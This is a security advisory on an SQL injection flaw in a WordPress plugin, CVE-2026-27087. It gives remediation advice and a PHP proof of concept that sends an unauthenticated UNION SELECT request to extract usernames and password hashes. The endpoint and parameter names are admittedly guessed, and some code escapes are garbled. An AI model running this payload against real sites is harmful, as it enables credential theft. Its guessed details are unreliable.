Atomic Edge analysis of CVE-2026-27087 (metadata-based):
This vulnerability is a critical SQL injection flaw in the Wolverine Framework WordPress plugin. The vulnerability allows unauthenticated attackers to execute arbitrary SQL commands via a specific plugin endpoint, leading to complete database compromise.
Atomic Edge research infers the root cause is insufficient input sanitization and a lack of prepared statements for user-supplied parameters in a database query. The CVE description confirms the vulnerability exists in an AJAX handler or REST endpoint registered by the plugin. This conclusion is based on the common WordPress plugin pattern where such flaws manifest in handlers that directly incorporate user input into SQL queries without using the `$wpdb->prepare()` method.
The exploitation method likely targets the WordPress AJAX handler at `/wp-admin/admin-ajax.php`. Attackers would send a crafted POST request with the `action` parameter set to a Wolverine Framework-specific hook, such as `wolverine_framework_action`. A malicious SQL payload would be included in another parameter, like `id` or `data`. A typical payload would be `1′ UNION SELECT user_login,user_pass FROM wp_users–`. This would be sent without a valid nonce, exploiting missing capability checks.
Remediation requires implementing proper input validation and using parameterized queries via the WordPress `$wpdb` class. The plugin must replace direct string concatenation in SQL statements with `$wpdb->prepare()`. The fix should also add capability checks and nonce verification to the affected endpoint to ensure only authorized users can trigger the database operations.
Successful exploitation grants attackers full read access to the WordPress database. This includes sensitive data like user credentials, personal information, and plugin-specific data. Attackers can extract password hashes for offline cracking, pivot to privilege escalation by modifying user capabilities, or achieve remote code execution by writing to options tables if certain conditions are met.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27087 - Wolverine Framework SQL Injection
<?php
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
// The exact action name is inferred from the plugin slug.
// Common patterns include '{slug}_action', '{slug}_ajax', or '{slug}_query'.
$post_data = array(
'action' => 'wolverine_framework_query',
// A vulnerable parameter is assumed, often 'id', 'user_id', or 'data'.
'id' => "1' UNION SELECT user_login,user_pass FROM wp_users WHERE 1=1--",
// Nonce is omitted, assuming the vulnerability includes missing nonce verification.
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Following redirects may be necessary for some configurations.
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response Body:n";
echo $response;
// This PoC is based on inferred patterns. A successful exploit would return database contents in the response.
?>
